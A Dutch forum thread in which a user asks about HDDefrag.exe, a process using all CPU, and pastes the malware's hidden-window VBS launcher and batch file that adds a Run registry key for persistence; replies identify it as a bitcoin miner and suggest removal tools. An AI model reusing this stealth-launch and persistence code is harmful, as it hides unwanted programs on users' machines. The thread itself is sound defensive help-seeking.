[W8] Wat is HDDefrag.exe ?

[Gloeilamp]

Op mijn pc had ik het bestand HDDefrag.exe staan welke 100% van mijn CPU (i5 3570k) gebruikt. Op Google heb ik gezocht naar wat dit bestand/virus/programma precies doet, maar kon hier niet echt een antwoord op vinden.

Hieronder een screenshot welke misschien meer duidelijkheid geeft.




De bestandslocatie van HDDefrag is:
C:\Users\<gebruiker>\AppData\Roaming\Adobe\Flash Player\File Cache

Ook is er een BAT en een VBS bestand aanwezig, waarvan de code hieronder staat

file.vbs

code:

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

hddef.bat

code:

@echo off
%windir%\system32\reg.exe add HKCU\software\microsoft\windows\currentversion\run /v HDDefrag /d "wscript \"%appdata%\Adobe\Flash Player\File Cache\file.vbs\" \"%appdata%\Adobe\Flash Player\File Cache\hddef.bat\"" /f
start /b /normal "a" "%appdata%\Adobe\Flash Player\File Cache\HDDefrag.exe"

Ik heb met malwarebytes en Microsoft Security Essentials op virussen gescanned echter hebben deze scanners geen infecties gevonden.

Kan ik gewoon de register opstartsleutel verwijderen inclusief de bestanden of blijft er dan nog iets achter?
Zijn mijn wachtwoorden nog veilig en weet iemand wat dit programma doet?

[The_Greater]

Bitcoin miner

[BeefHazard]

Lees dit draadje eens en voer de daar beschreven stappen uit. Als je zelf maar wat dingen verwijdert, kan het zijn dat je niet alles weghaalt en dat je er langer last van hebt dan nodig.

[Viper®]

http://www.zimbio.com/Spy...RAG+EXE+is+Trojan+Artemis

troep dus

[LnC]

Bitcoinminer inderdaad.
Kijk bij msconfig of deze tussen je startup items staat.
Leesvoer en leesvoer.

Download TDSSKiller en laat deze draaien. Grote kans dat deze het spul wel goed verwijderd.